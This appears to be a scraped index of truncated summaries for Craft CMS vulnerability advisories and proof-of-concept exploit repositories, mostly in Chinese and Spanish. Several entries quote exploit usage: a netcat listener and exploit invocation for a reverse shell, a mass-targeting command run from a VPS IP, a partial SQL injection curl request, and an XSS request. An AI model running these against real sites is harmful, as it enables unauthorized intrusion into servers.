CVE-2018-14716

CVE-2018-14716 针对 CVE-2018-14716 的 PoC 漏洞标题：Craft CMS SEOmatic 插件 3.1.4 - 服务器端模板注入 日期：2018-07-20 软件链接：https://github.com/nystudio107/craft-seomatic 漏洞作者：Sebastian Kriesten 0xB455 联系：https://twitter.com/0xB455 CVE：CVE-2018-14716 类别：webapps...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 Un entorno de laboratorio POC para CVE-2024-56145 CraftCMS RCE. Descripción de la vulnerabilidad Se encuentra una potencial vulnerabilidad RCE en craftCMS si la opción registerargcargv está habilitada en php.ini. Este es un entorno de laboratorio POC donde puedes...

CVE-2025-32432

CVE-2025-32432 Craft CMS 预认证远程代码执行 PoC Craft CMS 中的严重预认证远程代码执行漏洞 受影响版本：Craft CMS 3.x、4.x 及 5.x（最高至 5.6.16） 信息： 此漏洞利用已在 HackTheBox Orion 机器上测试通过 概述 本仓库包含针对 CVE-2025-32432 的概念验证漏洞利用代码，该漏洞是 Craft CMS 中的一个严重预认证远程代码执行漏洞。攻击者无需认证即可利用 Yii2 的行为附件机制以及通过 class 覆盖技术进行 PHP 对象实例化，在服务器上执行任意 PHP 代码。 CVSS...

Craft-CMS-Exploit

此 Python 脚本利用了 Craft CMS（一款流行的内容管理系统）的远程代码执行漏洞（CVE-2023-41892）。受影响版本为 4.0.0-RC1 至 4.4.14，允许攻击者远程执行任意代码，例如 PHP 反向 Shell。 使用方法 首先在另一个 shell 中启动 netcat 监听器： nc -nlvp 1234 然后检查您的 IP 地址并运行漏洞利用程序： python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb 祝您使用全新的反向 Shell 愉快地进行渗透！ 免责声明...

CVE-2023-41892

CVE-2023-41892 一个允许远程代码执行（RCE）的 Craft CMS 漏洞。...

CVE-2024-56145-craftcms-rce

再次运行脚本前，请执行 fuser -k 6666/tcp 使用方法 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 也可使用自定义命令，例如 python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i 是你的 IP 或 VPS IP（通过 ipconfig / ifconfig 获取）。 例如 - python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200 手动利用，对你拥有的目标运行上述...

CVE-2025-32432

CVE-2025-32432 — Craft CMS Pre-Auth RCE 用于在 Craft CMS 上实现未授权远程代码执行（RCE）的 Exploit，使用 Go 编写。 灵感来源于 c0gnit00 的原创工作。 工作原理 1. 通过 GET /admin/login 获取 PHP 会话和 CSRF token 2. 通过在查询字符串中注入 PHP 代码来污染 PHP 会话文件 3. 通过 assets/generate-transform 触发反序列化，以包含并执行被污染的文件 使用方法 root@kitploit: go run main.go -u -c Flag| 描...

CVE-2025-32432

CVE-2025-32432 - Craft CMS 未认证 RCE PoC 针对 CVE-2025-32432 的可用概念验证 PoC，这是一个影响 Craft CMS 版本直至并包含 5.6.16 的未认证远程代码执行漏洞（在等效代码路径上也影响 4.x 和 3.x 分支）。 搜索关键词：CVE-2025-32432、Craft CMS RCE、Craft 5.6.16 exploit、 Yii2 PhpManager gadget、craftcms generate-transform、Component::set as behavior、 nginx log poisoning...

CVE-2024-37843-POC

CVE-2024-37843-POC CVE-2024-37843 的 POC。Craft CMS 基于时间盲注 SQL 注入 详情见博客 POC root@kitploit: curl -X POST '/api/' -H 'Content-Type:application/json' -d '"query":"query IntrospectionQuery assetsorderBy: "assets.volumeId -- \\ \n \n LIMIT 5 AS subquery\nINNER JOIN assets assets ON assets.id =...

CVE-2025-32432-POC

Craft CMS CVE-2025-32432 单目标 PoC 仅限授权测试。 本仓库仅用于受控实验室环境、CTF 平台（如 Hack The Box）、内部验证和防御性核查。请勿针对您不拥有或未获得明确许可的系统运行此工具。 概述 本项目包含针对 CVE-2025-32432 的单目标概念验证（PoC），该漏洞是 Craft CMS 的一个预认证远程代码执行问题。 该 PoC 分两个阶段执行： 1. 漏洞确认 ：通过 Craft CMS 的资产变换生成端点使用 phpinfo gadget。 2. 可选命令执行 ：使用两步会话文件包含链。 该脚本旨在避免一些公开 PoC...

CVE-2025-32432-PoC

CVE-2025-32432：日志投毒到 RCE 的漏洞利用工具 描述 该仓库包含一个用 Go 编写的专业概念验证（PoC）漏洞利用程序，旨在演示 Craft CMS 中的一条关键漏洞链。该利用程序借助一个日志投毒漏洞实现本地文件包含（LFI），最终通过反弹 Shell 达成远程代码执行（RCE）。 技术解析 该利用程序遵循多阶段执行链： 1. 日志投毒 该工具首先向目标发送一个未经验证的 GET 请求。通过操纵 a 参数并通过 Cookie 提供自定义的 CraftSessionId，攻击者可以强制应用程序将 PHP 载荷写入位于...

CVE-2025-32432-exploit-by-P34NUT

CVE-2025-32432 — Exploit de RCE Pre-Auth en Craft CMS Autor: P34NUT2 Vulnerabilidad: Ejecución Remota de Código Pre-Autenticada en Craft CMS CVE: CVE-2025-32432 Objetivo: Cualquier instancia vulnerable de Craft CMS 3.x / 4.x / 5.x — probado en Hack The Box: Orion ⚠️ Descargo de responsabilidad Est...

CVE-2026-92592

creationtimestamp| type| source ---|---|--- 2026-09-17 12:45:09+00:00| seen| https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-craft-cms 2026-09-19 05:00:05+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvtvlxhpnu2b...

CVE-2026-92593

creationtimestamp| type| source ---|---|--- 2026-09-17 12:45:08+00:00| seen| https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-craft-cms 2026-09-19 05:00:06+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvtvlzaqwv2w...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS RCE sin autenticación previa Ejecución remota de código sin autenticación previa en Craft CMS Descubierto y desarrollado porMohammed Idrees Banyamer 📌 Descripción general CVE-2025-32432 es una vulnerabilidad crítica de ejecución remota de código RCE sin autenticación...

Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - 跨站脚本（Cross-Site-Scripting） Craft CMS 3.0.25 - 跨站脚本漏洞 CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 概念验证 通过从控制台标签页保存新标题，即可执行跨站脚本（XSS）攻击。 root@kitploit: POST /admin-panel-path/index.php?p=admin/actions/entries/save-entry HTTP/1.1 Host: IP:PORT User-Agent: Mozilla/5.0...

EUVD-2026-81290

Craft CMS versions from 5.7.0 before 5.10.13 contain a stored cross-site scripting vulnerability in the Generated Fields feature that disables Twig autoescaping and fails to encode cached values. Content editors can inject malicious JavaScript through editable fields that executes in authenticate...

EUVD-2026-81291

Craft CMS 5.0.0 through 5.10.12 treats a database connection failure as meaning that Craft is not installed, which makes anonymous installer actions — including install/validate-site — reachable on an installed production site whenever PHP remains available but the configured MySQL endpoint does...

EUVD-2026-81289

Craft CMS 5.0.0 through 5.10.12 fixed in 5.10.13 contains a broken access control flaw in the nested-elements reorder endpoint. When an authenticated control panel user with viewEntries and viewPeerEntries but without savePeerEntries opens another author's entry in read-only mode, Craft...

EUVD-2026-81292

Craft CMS 4.8.0 through 4.18.5 and 5.0.0 through 5.10.12 sign an authenticated user's attacker-controlled license-shun cookie with the same key and format used to validate signed redirect parameters, because the HMAC signature is not bound to its purpose Yii's cookieValidationKey is derived from...